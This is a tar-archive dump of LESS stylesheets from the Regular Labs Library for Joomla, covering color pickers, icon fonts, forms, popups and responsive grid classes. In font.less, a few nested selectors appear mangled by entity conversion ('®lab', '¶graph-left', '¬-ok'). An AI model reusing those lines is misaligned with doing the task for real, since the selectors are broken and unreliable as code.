.minicolors-theme-default.minicolors-focus .minicolors-input,
.minicolors-theme-default.minicolors-focus .minicolors-swatch {
border-color: #999999;
}
.minicolors-hidden {
position: absolute;
left: -9999em;
}
.minicolors-swatch {
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
}
.minicolors-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
.box-shadow(~"inset 0 9px 0 rgba(255, 255, 255, .1)");
display: inline-block;
}
// Panel
.minicolors-panel {
position: absolute;
top: 26px;
left: 0;
width: 173px;
height: 152px;
background: white;
border: solid 1px #cccccc;
.box-shadow(~"0 0 20px rgba(0, 0, 0, .2)");
display: none;
}
.minicolors-position-top .minicolors-panel {
top: -156px;
}
.minicolors-position-left .minicolors-panel {
left: -83px;
}
.minicolors-position-left.minicolors-with-opacity .minicolors-panel {
left: -104px;
}
.minicolors-with-opacity .minicolors-panel {
width: 194px;
}
.minicolors .minicolors-grid {
position: absolute;
top: 1px;
left: 1px;
width: 150px;
height: 150px;
background: url(../images/minicolors.png) -120px 0;
cursor: crosshair;
}
.minicolors .minicolors-grid-inner {
position: absolute;
top: 0;
left: 0;
width: 150px;
height: 150px;
background: none;
}
.minicolors-slider-saturation .minicolors-grid {
background-position: -420px 0;
}
.minicolors-slider-saturation .minicolors-grid-inner {
background: url(../images/minicolors.png) -270px 0;
}
.minicolors-slider-brightness .minicolors-grid {
background-position: -570px 0;
}
.minicolors-slider-brightness .minicolors-grid-inner {
background: black;
}
.minicolors-slider-wheel .minicolors-grid {
background-position: -720px 0;
}
.minicolors-slider,
.minicolors-opacity-slider {
position: absolute;
top: 1px;
left: 152px;
width: 20px;
height: 150px;
background: white url(../images/minicolors.png) 0 0;
cursor: crosshair;
}
.minicolors-slider-saturation .minicolors-slider {
background-position: -60px 0;
}
.minicolors-slider-brightness .minicolors-slider {
background-position: -20px 0;
}
.minicolors-slider-wheel .minicolors-slider {
background-position: -20px 0;
}
.minicolors-opacity-slider {
left: 173px;
background-position: -40px 0;
display: none;
}
.minicolors-with-opacity .minicolors-opacity-slider {
display: block;
}
// Pickers
.minicolors-grid .minicolors-picker {
position: absolute;
top: 70px;
left: 70px;
width: 10px;
height: 10px;
border: solid 1px black;
.border-radius(10px);
margin-top: -6px;
margin-left: -6px;
background: none;
}
.minicolors-grid .minicolors-picker span {
position: absolute;
top: 0;
left: 0;
width: 6px;
height: 6px;
.border-radius(6px);
border: solid 2px white;
}
.minicolors-picker {
position: absolute;
top: 0;
left: 0;
width: 18px;
height: 2px;
background: white;
border: solid 1px black;
margin-top: -2px;
}
// Inline controls
.minicolors-inline .minicolors-input,
.minicolors-inline .minicolors-swatch {
display: none;
}
.minicolors-inline .minicolors-panel {
position: relative;
top: auto;
left: auto;
display: inline-block;
}
// Bootstrap Theme (theme: 'bootstrap')
// Input styles
.minicolors-theme-bootstrap .minicolors-input {
padding: 4px 6px;
padding-left: 30px;
background-color: white;
border: 1px solid #cccccc;
.border-radius(3px);
color: #555555;
font-family: Arial, 'Helvetica Neue', Helvetica,
sans-serif;
font-size: 14px;
height: 19px;
margin: 0;
.box-shadow(~"inset 0 1px 1px rgba(0, 0, 0, 0.075)");
}
// When the input has focus
.minicolors-theme-bootstrap.minicolors-focus .minicolors-input {
border-color: #6fb8f1;
.box-shadow(~"0 0 10px #6fb8f1");
outline: none;
}
// Swatch styles
.minicolors-theme-bootstrap .minicolors-swatch {
position: absolute;
left: 4px;
top: 4px;
z-index: 12;
}
// Handle swatch position (left = default / right)
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-input {
padding-left: 6px;
padding-right: 30px;
}
.minicolors-theme-bootstrap.minicolors-swatch-position-right
.minicolors-swatch {
left: auto;
right: 4px;
}
// Panel styles
.minicolors-theme-bootstrap .minicolors-panel {
top: 28px;
z-index: 13;
}
// Handle panel positions (top / left)
.minicolors-theme-bootstrap.minicolors-position-top .minicolors-panel {
top: -154px;
}
.minicolors-theme-bootstrap.minicolors-position-left .minicolors-panel {
left: -63px;
}
// Don't forget to adjust the left position in case the opacity slider
is visible!
.minicolors-theme-bootstrap.minicolors-position-left.minicolors-with-opacity
.minicolors-panel {
left: -84px;
}
less/colorpicker.less000064400000004035151165506420010725 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* LOOSELY BASED ON:
* Very simple jQuery Color Picker
* Copyright (C) 2012 Tanguy Krotoff
* Licensed under the MIT license
*/
@import "init.less";
.rl_colorpicker-swatch {
cursor: pointer;
position: relative;
width: 20px;
height: 20px;
text-align: left;
background: url(../images/minicolors.png) -80px 0;
border: solid 1px #cccccc;
vertical-align: middle;
display: inline-block;
.border-radius(3px);
overflow: hidden;
}
.rl_colorpicker-swatch span {
position: absolute;
width: 100%;
height: 100%;
background: none;
.box-shadow(~"inset 0 9px 0 rgba(255, 255, 255, .1)");
display: inline-block;
}
.rl_colorpicker-panel .rl_colorpicker-swatch {
margin: 0 4px 4px 0;
}
.rl_colorpicker-swatch.active,
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch:focus,
.rl_colorpicker-swatch span:focus {
outline: 0;
outline: thin dotted \9; /* IE6-9 */
}
.rl_colorpicker-swatch:hover,
.rl_colorpicker-swatch.active {
border-color: rgba(82, 168, 236, 0.8);
.box-shadow(~"inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px
rgba(82,168,236,.6)");
}
.rl_colorpicker-panel {
position: absolute;
top: 100%;
left: 0;
z-index: 10;
display: none;
float: left;
padding: 6px 2px 2px 6px;
margin: 1px 0 0;
list-style: none;
background-color: #ffffff;
border: 1px solid #dddddd;
*border-right-width: 2px;
*border-bottom-width: 2px;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
.box-shadow(~"0 5px 10px rgba(0, 0, 0, 0.2)");
.background-clip(padding-box);
}
less/font.less000064400000012740151165506420007361 0ustar00@font-face {
font-family: 'RegularLabs';
src: url('../fonts/RegularLabs.eot');
src: url('../fonts/RegularLabs.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabs.woff') format('woff'),
url('../fonts/RegularLabs.ttf')
format('truetype'),
url('../fonts/RegularLabs.svg#RegularLabs')
format('svg');
font-weight: normal;
font-style: normal;
}
@font-face {
font-family: 'RegularLabsIcons';
src: url('../fonts/RegularLabsIcons.eot');
src: url('../fonts/RegularLabsIcons.eot?#iefix')
format('embedded-opentype'),
url('../fonts/RegularLabsIcons.woff')
format('woff'),
url('../fonts/RegularLabsIcons.ttf')
format('truetype'),
url('../fonts/RegularLabsIcons.svg#RegularLabsIcons')
format('svg');
font-weight: normal;
font-style: normal;
}
.icon-reglab,
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
display: inline-block;
width: 14px;
height: 14px;
.ie7-restore-right-whitespace();
line-height: 16px;
font-size: 16px;
speak: none;
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
/* Better Font Rendering =========== */
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.icon-reglab {
&:before {
font-family: 'RegularLabs' !important;
font-size: 14.2px !important;
}
}
h1, h2 {
.icon-reglab {
&:before {
font-size: 16px !important;
}
}
}
.btn {
.icon-reglab {
text-indent: -2px;
font-size: 12px;
&:before {
vertical-align: -3px;
}
}
}
.icon-reglab-24 {
&:before {
vertical-align: -5px;
@media screen and (-webkit-min-device-pixel-ratio: 0) {
vertical-align: -3px;
}
}
}
.icon- {
®lab:before {
content: "\e000";
}
&nonumber:before {
content: "\e100";
}
&addtomenu:before {
content: "\e001";
}
&advancedmodulemanager:before {
content: "\e003";
}
&advancedtemplatemanager:before {
content: "\e015";
}
&articlesanywhere:before {
content: "\e004";
}
&articlesfield:before {
content: "\e01d";
}
&betterpreview:before {
content: "\e005";
}
&bettertrash:before {
content: "\e01b";
}
&cachecleaner:before {
content: "\e006";
}
&cdnforjoomla:before {
content: "\e007";
}
&componentsanywhere:before {
content: "\e008";
}
&conditionalcontent:before {
content: "\e019";
}
&contenttemplater:before {
content: "\e009";
}
&dbreplacer:before {
content: "\e00a";
}
&dummycontent:before {
content: "\e017";
}
&emailprotector:before {
content: "\e00b";
}
&geoip:before {
content: "\e018";
}
&iplogin:before {
content: "\e016";
}
&keyboardshortcuts:before {
content: "\e01e";
}
&modals:before {
content: "\e00c";
}
&modulesanywhere:before {
content: "\e00d";
}
&quickindex:before {
content: "\e01c";
}
&rereplacer:before {
content: "\e00e";
}
&simpleusernotes:before {
content: "\e01a";
}
&sliders:before {
content: "\e00f";
}
&snippets:before {
content: "\e010";
}
&sourcerer:before {
content: "\e011";
}
&tabs:before {
content: "\e012";
}
&tooltips:before {
content: "\e014";
}
&whatnothing:before {
content: " ";
width: 16px;
display: inline-block;
}
}
[class^="icon-reglab-"],
[class*=" icon-reglab-"] {
&:before {
font-family: 'RegularLabsIcons' !important;
}
}
.icon-reglab- {
¶graph-left:before {
content: "\e001";
}
¶graph-center:before {
content: "\e002";
}
¶graph-right:before {
content: "\e003";
}
¶graph-justify:before {
content: "\e004";
}
&undo:before {
content: "\e005";
}
&redo:before {
content: "\e006";
}
&spinner:before {
content: "\e007";
}
&lock:before {
content: "\e008";
}
&unlocked:before {
content: "\e009";
}
&cog:before {
content: "\e00a";
}
&arrow-up:before {
content: "\e00b";
}
&arrow-right:before {
content: "\e00c";
}
&arrow-down:before {
content: "\e00d";
}
&arrow-left:before {
content: "\e00e";
}
&top:before {
content: "\e00f";
}
&bottom:before {
content: "\e010";
}
&simple:before {
content: "\e011";
}
&normal:before {
content: "\e012";
}
&advanced:before {
content: "\e013";
}
&home:before {
content: "\e014";
}
&info:before {
content: "\e015";
}
&warning:before {
content: "\e016";
}
¬-ok:before {
content: "\e017";
}
&link:before {
content: "\e018";
}
&eye:before {
content: "\e019";
}
&search:before {
content: "\e01a";
}
&earth:before {
content: "\e01f";
}
&src_sourcetags:before {
content: "\e01b";
}
&src_nosourcetags:before {
content: "\e01c";
}
&src_tagstyle:before {
content: "\e01d";
}
&src_tagstyle_brackets:before {
content: "\e01e";
}
&bundle:before {
content: "\e021";
}
&lifetime:before {
content: "\e022";
}
&twitter:before {
content: "\e030";
}
&google-plus:before {
content: "\e031";
}
&facebook:before {
content: "\e032";
}
&joomla:before {
content: "\e033";
}
}
.icon-reglab.icon- {
&src_sourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01b";
}
&src_nosourcetags:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01c";
}
&src_tagstyle:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01d";
}
&src_tagstyle_brackets:before {
font-family: 'RegularLabsIcons' !important;
content: "\e01e";
}
}
.icon-expired:before {
content: "\6e";
}
less/form.less000064400000003621151165506420007354 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
.chzn-small {
width: 120px;
}
// hide chosen dropdown on color picker J3.2.3+
div.chzn-container[id^="color_"][id$="_chzn"],
div.chzn-container#advancedparams_color_chzn {
display: none;
}
.input-full {
width: 100%;
box-sizing: border-box;
}
input[type="text"].input-full {
height: 28px;
}
.controls .input-maximize {
&:focus,
.chzn-container:hover,
.chzn-with-drop {
min-width: 99%;
}
}
.btn-group-yesno-reverse {
.active {
&.btn-success {
.buttonBackground(@btnDangerBackground, @btnDangerBackgroundHighlight);
}
&.btn-danger {
.buttonBackground(@btnSuccessBackground,
@btnSuccessBackgroundHighlight);
}
}
}
input.rl_codefield,
input.rl_keyfield,
div.rl_keycode {
#font > #family > .monospace;
font-size: 1.4em !important;
}
input.rl_codefield,
input.rl_keyfield {
font-size: 14px !important;
}
.btn.disabled {
cursor: not-allowed !important;
}
.rl_keycode {
color: @grayLight;
padding: 2px 0;
}
fieldset.rl_plaintext {
margin-top: 5px;
}
.rl_textarea {
.box-sizing(border-box);
}
.inlist .simplecolors-swatch span {
position: relative;
}
.rl_spinner {
display: inline-block;
box-sizing: border-box;
vertical-align: top;
margin: 0 4px;
border-top: 5px solid #7ac143;
border-right: 5px solid #f9a541;
border-bottom: 5px solid #f44321;
border-left: 5px solid #5091cd;
border-radius: 50%;
width: 20px;
height: 20px;
animation: rl_spinner 1s linear infinite;
}
@keyframes rl_spinner {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
less/frontend.less000064400000004174151165506420010234 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "../../jui/less/mixins.less";
@import "../../jui/less/variables.less";
@import "../../jui/less/grid.less";
@import "../../jui/less/forms.less";
@import "../../jui/less/dropdowns.less";
@import "../../jui/less/wells.less";
@import "../../jui/less/component-animations.less";
@import "../../jui/less/close.less";
@import "../../jui/less/buttons.less";
@import "../../jui/less/button-groups.less";
@import "../../jui/less/alerts.less";
@import "../../jui/less/tooltip.less";
@import "../../jui/less/accordion.less";
@import "../../jui/less/utilities.less";
@import "../../jui/less/bootstrap-extended.less";
@import
"../../../administrator/templates/isis/less/icomoon.less";
@import "multiselect.less";
/* Chosen color styles */
[class^="chzn-color"].chzn-single,
[class*=" chzn-color"].chzn-single,
[class^="chzn-color"].chzn-single .chzn-single-with-drop,
[class*=" chzn-color"].chzn-single .chzn-single-with-drop {
.box-shadow(none);
}
.chzn-color.chzn-single[rel="value_1"],
.chzn-color-reverse.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_1"] {
.buttonBackground(@btnSuccessBackground, @btnSuccessBackgroundHighlight);
}
.chzn-color.chzn-single[rel="value_0"],
.chzn-color-reverse.chzn-single[rel="value_1"],
.chzn-color-state.chzn-single[rel="value_0"],
.chzn-color-state.chzn-single[rel="value_-1"],
.chzn-color-state.chzn-single[rel="value_-2"] {
.buttonBackground(@btnDangerBackground, @btnDangerBackgroundHighlight);
}
/* Min-width on buttons */
.controls .btn-group > .btn {
min-width: 50px;
}
.controls .btn-group.btn-group-yesno > .btn {
min-width: 84px;
padding: 2px 12px;
}
.control-label {
> label {
> h4 {
margin-bottom: 0;
}
}
}
.controls {
> fieldset {
margin-bottom: 0;
padding-top: 0;
padding-bottom: 0;
}
}
.chzn-container .chzn-drop {
z-index: 1040;
}
less/init.less000064400000000061151165506420007347 0ustar00@import
"variables.less";
@import "mixins.less";
less/mixins.less000064400000000371151165506420007717 0ustar00@import
"../../jui/less/mixins.less";
.transition-duration(@transition) {
-webkit-transition-duration: @transition;
-moz-transition-duration: @transition;
-o-transition-duration: @transition;
transition-duration: @transition;
}
less/multiselect.less000064400000001626151165506420010746 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
div.rl_multiselect {
margin-bottom: 0;
.rl_multiselect-controls {
clear: both;
}
ul.rl_multiselect-ul {
margin: 0;
padding: 0;
margin-top: 8px;
li {
margin: 0;
padding: 2px 10px 2px;
list-style: none;
}
span.rl_multiselect-toggle {
line-height: 18px;
}
label {
font-size: 1em;
margin-left: 8px;
&.nav-header {
padding: 0;
}
}
input {
margin: 2px 0 0 8px;
}
.rl_multiselect-menu {
margin: 0 6px;
}
ul.dropdown-menu {
margin: 0;
li {
padding: 0 5px;
border: none;
}
}
}
}
less/popup.less000064400000003343151165506420007555 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
@import "font.less";
body.reglab-popup {
padding: 0;
.container-fluid {
padding: 0 20px;
}
.navbar {
margin-bottom: 10px;
.navbar-inner {
padding-left: 0;
padding-right: 0;
border-radius: 0;
border-left: none;
border-right: none;
}
.btn-toolbar,
#toolbar {
margin-top: 2px;
margin-bottom: 2px;
}
}
.header {
margin-left: 0;
margin-right: 0;
&.has-navbar-fixed-top {
margin-top: 44px;
margin-bottom: 10px;
padding-top: 2px;
padding-bottom: 2px;
}
}
.subhead {
margin-left: 0;
margin-right: 0;
padding-left: 0;
padding-right: 0;
}
.page-title {
text-align: left;
}
label > span[class^="icon-reglab"] {
padding: 1px 0 3px;
}
.reglab-overlay {
background-color: #000000;
position: fixed;
left: 0;
top: 0;
width: 100%;
height: 100%;
z-index: 5000;
opacity: .2;
cursor: wait;
}
.chzn-container-single .chzn-single div b {
background: none !important;
}
.nav-tabs {
> li {
> a {
border-color: #eeeeee #eeeeee #dddddd;
background-color: #f5f5f5;
margin-right: 4px;
&:hover,
&:focus {
background-color: #eeeeee;
}
}
&.active a {
border-color: #dddddd;
border-bottom-color: transparent;
background-color: #ffffff;
}
}
}
}
less/style.less000064400000013472151165506420007556 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
@import "font.less";
.rl_tablelist {
td {
height: 22px;
color: @gray;
}
td.has-context {
height: 23px;
}
}
.rl_code {
#font > #family > .monospace;
color: @grayLight;
}
.well {
.well {
border-color: darken(@wellBackground, 7%);
}
}
div.rl_well {
padding-bottom: 0;
h4 {
margin-top: 6px;
}
&.alert-success,
&.alert-error {
color: @grayDark;
}
.controls .btn-group > .btn {
min-width: auto;
}
}
.well-striped:nth-child(even) {
background-color: lighten(@wellBackground, 3%);
}
.alert.alert-inline {
margin: 14px 0 0;
}
.alert.alert-noclose {
padding: 8px 14px;
}
.rl_has-ignore .btn-primary.active,
.rl_btn-ignore.btn-danger.active {
background-color: @grayLight;
border: 1px solid rgba(0, 0, 0, 0.2);
&:hover,
&:focus {
background-color: darken(@grayLight, 15%);
}
}
.rl_btn-exclude.btn-success.active {
background-color: @btnDangerBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
&:hover,
&:focus {
background-color: darken(@btnDangerBackground, 15%);
}
}
.btn-group.btn-group-full,
.subform-table-layout table .btn-group.btn-group-full,
.btn-full {
width: 100%;
box-sizing: border-box;
margin: 0;
}
.icon-back:before {
content: "\e008";
}
.icon-spin {
-webkit-animation: spin .5s infinite linear;
animation: spin .5s infinite linear;
}
@-webkit-keyframes spin {
0% {
-webkit-transform: rotate(0deg)
}
100% {
-webkit-transform: rotate(359deg)
}
}
@-moz-keyframes spin {
0% {
-moz-transform: rotate(0deg)
}
100% {
-moz-transform: rotate(359deg)
}
}
@-ms-keyframes spin {
0% {
-ms-transform: rotate(0deg)
}
100% {
-ms-transform: rotate(359deg)
}
}
@-o-keyframes spin {
0% {
-o-transform: rotate(0deg)
}
100% {
-o-transform: rotate(359deg)
}
}
@keyframes spin {
0% {
transform: rotate(0deg)
}
100% {
transform: rotate(359deg)
}
}
/* Dropdown and dropup fixes */
.btn-toolbar .modal,
.btn-toolbar .dropdown-menu {
font-size: 13px;
}
@media (min-width: 768px) {
.dropdown {
display: inline-block;
}
.dropdown-menu.dropup-menu {
bottom: 100%;
top: auto;
}
}
/* popovers */
.popover {
width: auto;
min-width: 200px;
}
/* icons */
.icon-color {
background: transparent url(../images/icon-color.png) no-repeat;
width: 16px !important;
height: 16px !important;
}
.clearfix {
.clearfix();
}
.thumbnail-small > .thumbnail > img {
max-width: 40px;
}
#key_button,
#jform_key_button {
margin-left: 8px;
}
.ghosted {
.opacity(60);
}
.rl_license {
margin-top: 30px;
text-align: center;
}
.rl_footer {
margin-top: 30px;
div {
margin-top: 30px;
text-align: center;
}
.rl_footer_review {
margin-top: 5px;
a.stars {
display: inline-block;
.icon-star {
color: mix(@yellow, @orange);
margin: 0;
.transition-duration(500ms);
}
&:hover {
text-decoration: none;
.icon-star {
.rotate(216deg);
}
}
}
}
.rl_footer_logo {
img {
vertical-align: -40%;
}
}
.rl_footer_copyright {
margin-top: 3px;
font-size: 0.7em;
.opacity(60);
}
}
.rl_simplecategory_new {
margin-top: 4px;
}
.rl_codemirror .CodeMirror-activeline-background {
background: rgba(164, 194, 235, .1);
}
/* better responsiveness */
@media (min-width: 768px) and (max-width: 1200px) {
.row-fluid [class*="span"] {
&[class*="span-md"] {
margin-left: 2.12%;
*margin-left: 2.03%;
&:first-child {
margin-left: 0;
}
}
&.span-md-12 {
width: 100%;
*width: 99.94680851063829%;
margin-left: 0;
}
&.span-md-11 {
width: 91.48936170212765%;
*width: 91.43617021276594%;
}
&.span-md-10 {
width: 82.97872340425532%;
*width: 82.92553191489361%;
}
&.span-md-9 {
width: 74.46808510638297%;
*width: 74.41489361702126%;
}
&.span-md-8 {
width: 65.95744680851064%;
*width: 65.90425531914893%;
}
&.span-md-7 {
width: 57.44680851063829%;
*width: 57.39361702127659%;
}
&.span-md-6 {
width: 48.93617021276595%;
*width: 48.88297872340425%;
}
&.span-md-5 {
width: 40.42553191489362%;
*width: 40.37234042553192%;
}
&.span-md-4 {
width: 31.914893617021278%;
*width: 31.861702127659576%;
}
&.span-md-3 {
width: 23.404255319148934%;
*width: 23.351063829787233%;
}
&.span-md-2 {
width: 14.893617021276595%;
*width: 14.840425531914894%;
}
&.span-md-1 {
width: 6.382978723404255%;
*width: 6.329787234042553%;
}
}
}
@media (min-width: 1200px) and (max-width: 1400px) {
.row-fluid [class*="span"] {
&.span-lg-12 {
width: 100%;
*width: 99.94680851063829%;
margin-left: 0;
}
&.span-lg-11 {
width: 91.48936170212765%;
*width: 91.43617021276594%;
}
&.span-lg-10 {
width: 82.97872340425532%;
*width: 82.92553191489361%;
}
&.span-lg-9 {
width: 74.46808510638297%;
*width: 74.41489361702126%;
}
&.span-lg-8 {
width: 65.95744680851064%;
*width: 65.90425531914893%;
}
&.span-lg-7 {
width: 57.44680851063829%;
*width: 57.39361702127659%;
}
&.span-lg-6 {
width: 48.93617021276595%;
*width: 48.88297872340425%;
}
&.span-lg-5 {
width: 40.42553191489362%;
*width: 40.37234042553192%;
}
&.span-lg-4 {
width: 31.914893617021278%;
*width: 31.861702127659576%;
}
&.span-lg-3 {
width: 23.404255319148934%;
*width: 23.351063829787233%;
}
&.span-lg-2 {
width: 14.893617021276595%;
*width: 14.840425531914894%;
}
&.span-lg-1 {
width: 6.382978723404255%;
*width: 6.329787234042553%;
}
}
}
less/variables.less000064400000000105151165506420010353 0ustar00@import
"../../../administrator/templates/isis/less/variables.less";